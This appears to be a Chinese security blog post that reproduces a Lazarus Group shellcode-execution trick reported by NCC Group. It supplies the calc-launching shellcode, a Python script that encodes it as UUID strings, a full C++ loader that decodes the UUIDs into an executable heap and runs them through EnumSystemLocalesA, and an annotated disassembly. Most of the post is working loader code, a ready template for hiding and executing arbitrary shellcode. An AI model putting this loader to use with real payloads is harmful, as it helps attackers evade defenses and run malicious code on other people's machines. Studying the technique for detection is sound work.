UID shellcode硬编码

  1. 前言
  2. 复现

前言

翻文章的时候翻到一篇,将shellcode硬编码成UID。然后在把UID解密写入内存空间后执行的
原文链接:https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/

复现

原文给出的shellcode如下

1\xc0PhcalcTYP@\x92t\x15Qd\x8br/\x8bv\x0c\x8bv\x0c\xad\x8b0\x8b~\x18\xb2P\xeb\x1a\xb2`H)\xd4eH\x8b2H\x8bv\x18H\x8bv\x10H\xadH\x8b0H\x8b~0\x03W<\x8b\\\x17(\x8bt\x1f H\x01\xfe\x8bT\x1f$\x0f\xb7,\x17\x8dR\x02\xad\x81<\x07WinEu\xef\x8bt\x1f\x1cH\x01\xfe\x8b4\xaeH\x01\xf7\x99\xff\xd7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

shellcode转换成UUID后和原文是对的上的

import uuid
import binascii
import chardet

buf=b"1\xc0PhcalcTYP@\x92t\x15Qd\x8br/\x8bv\x0c\x8bv\x0c\xad\x8b0\x8b~\x18\xb2P\xeb\x1a\xb2`H)\xd4eH\x8b2H\x8bv\x18H\x8bv\x10H\xadH\x8b0H\x8b~0\x03W<\x8b\\\x17(\x8bt\x1f H\x01\xfe\x8bT\x1f$\x0f\xb7,\x17\x8dR\x02\xad\x81<\x07WinEu\xef\x8bt\x1f\x1cH\x01\xfe\x8b4\xaeH\x01\xf7\x99\xff\xd7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
hex_buf=binascii.hexlify(buf).decode()
tmp=""
for k in hex_buf:
    tmp+=k
    if len(tmp)==32:
        print("\"{}\",".format(uuid.UUID(bytes_le=binascii.unhexlify(tmp))))
        tmp=""

执行shellcode

// uuidrun.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <Windows.h>
#include <Rpc.h>
#include <iostream>

#pragma comment(lib, "Rpcrt4.lib")

const char* uuids[] =
{
    "6850c031-6163-636c-5459-504092741551",
    "2f728b64-768b-8b0c-760c-ad8b308b7e18",
    "1aeb50b2-60b2-2948-d465-488b32488b76",
    "768b4818-4810-48ad-8b30-488b7e300357",
    "175c8b3c-8b28-1f74-2048-01fe8b541f24",
    "172cb70f-528d-ad02-813c-0757696e4575",
    "1f748bef-481c-fe01-8b34-ae4801f799ff",
    "000000d7-0000-0000-0000-000000000000",
};

int main()
{
    HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0); //在进程的虚拟地址空间中保留空间
    void* ha = HeapAlloc(hc, 0, 0x100000); //申请内存
    DWORD_PTR hptr = (DWORD_PTR)ha;
    int elems = sizeof(uuids) / sizeof(uuids[0]);

    for (int i = 0; i < elems; i++) {
        RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr); //UUID转换为原来的shellcode写入内存
        if (status != RPC_S_OK) {
            printf("UuidFromStringA() != S_OK\n");
            CloseHandle(ha);
            return -1;
        }
        hptr += 16;
    }
    printf("[*] Hexdump: ");
    for (int i = 0; i < elems * 16; i++) {
        printf("%02X ", ((unsigned char*)ha)[i]);
    }
    EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0); //枚举操作系统上安装或支持的语言环境。
    return 0;
}

原文的shellcode反汇编后如下

xor eax, eax ;清空eax
push rax
push 0x636c6163 ;calc
push rsp
pop rcx
push rax
xchg eax, edx ;交换edx和eax的值,EAX=EDX,EDX=EAX
je 0x24
push rcx
mov esi, dword ptr fs:[rdx + 0x2f] ;寻找PEB地址
mov esi, dword ptr [rsi + 0xc]
mov esi, dword ptr [rsi + 0xc]
lodsd eax, dword ptr [rsi]
mov esi, dword ptr [rax]
mov edi, dword ptr [rsi + 0x18]
mov dl, 0x50
jmp 0x3e
mov dl, 0x60
sub rsp, rdx
mov rsi, qword ptr gs:[rdx] ;寻找PEB地址
mov rsi, qword ptr [rsi + 0x18]
mov rsi, qword ptr [rsi + 0x10]
lodsq rax, qword ptr [rsi]
mov rsi, qword ptr [rax]
mov rdi, qword ptr [rsi + 0x30]
add edx, dword ptr [rdi + 0x3c]
mov ebx, dword ptr [rdi + rdx + 0x28]
mov esi, dword ptr [rdi + rbx + 0x20]
add rsi, rdi
mov edx, dword ptr [rdi + rbx + 0x24]
movzx ebp, word ptr [rdi + rdx]
lea edx, [rdx + 2]
lodsd eax, dword ptr [rsi]
cmp dword ptr [rdi + rax], 0x456e6957
jne 0x50
mov esi, dword ptr [rdi + rbx + 0x1c]
add rsi, rdi
mov esi, dword ptr [rsi + rbp*4]
add rdi, rsi
cdq 
call rdi
add byte ptr [rax], al
add byte ptr [rax], al
add byte ptr [rax], al
add byte ptr [rax], al
add byte ptr [rax], al
add byte ptr [rax], al
add byte ptr [rax], al

尝试用msf的shellcode来整UUID。发现并不行,估计shellcode需要修改,不会改,算篇复现文…


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:UID shellcode硬编码

本文作者:九世

发布时间:2021-01-25, 13:09:49

最后更新:2021-01-25, 13:34:14

原始链接:http://422926799.github.io/posts/9f6e42ac.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录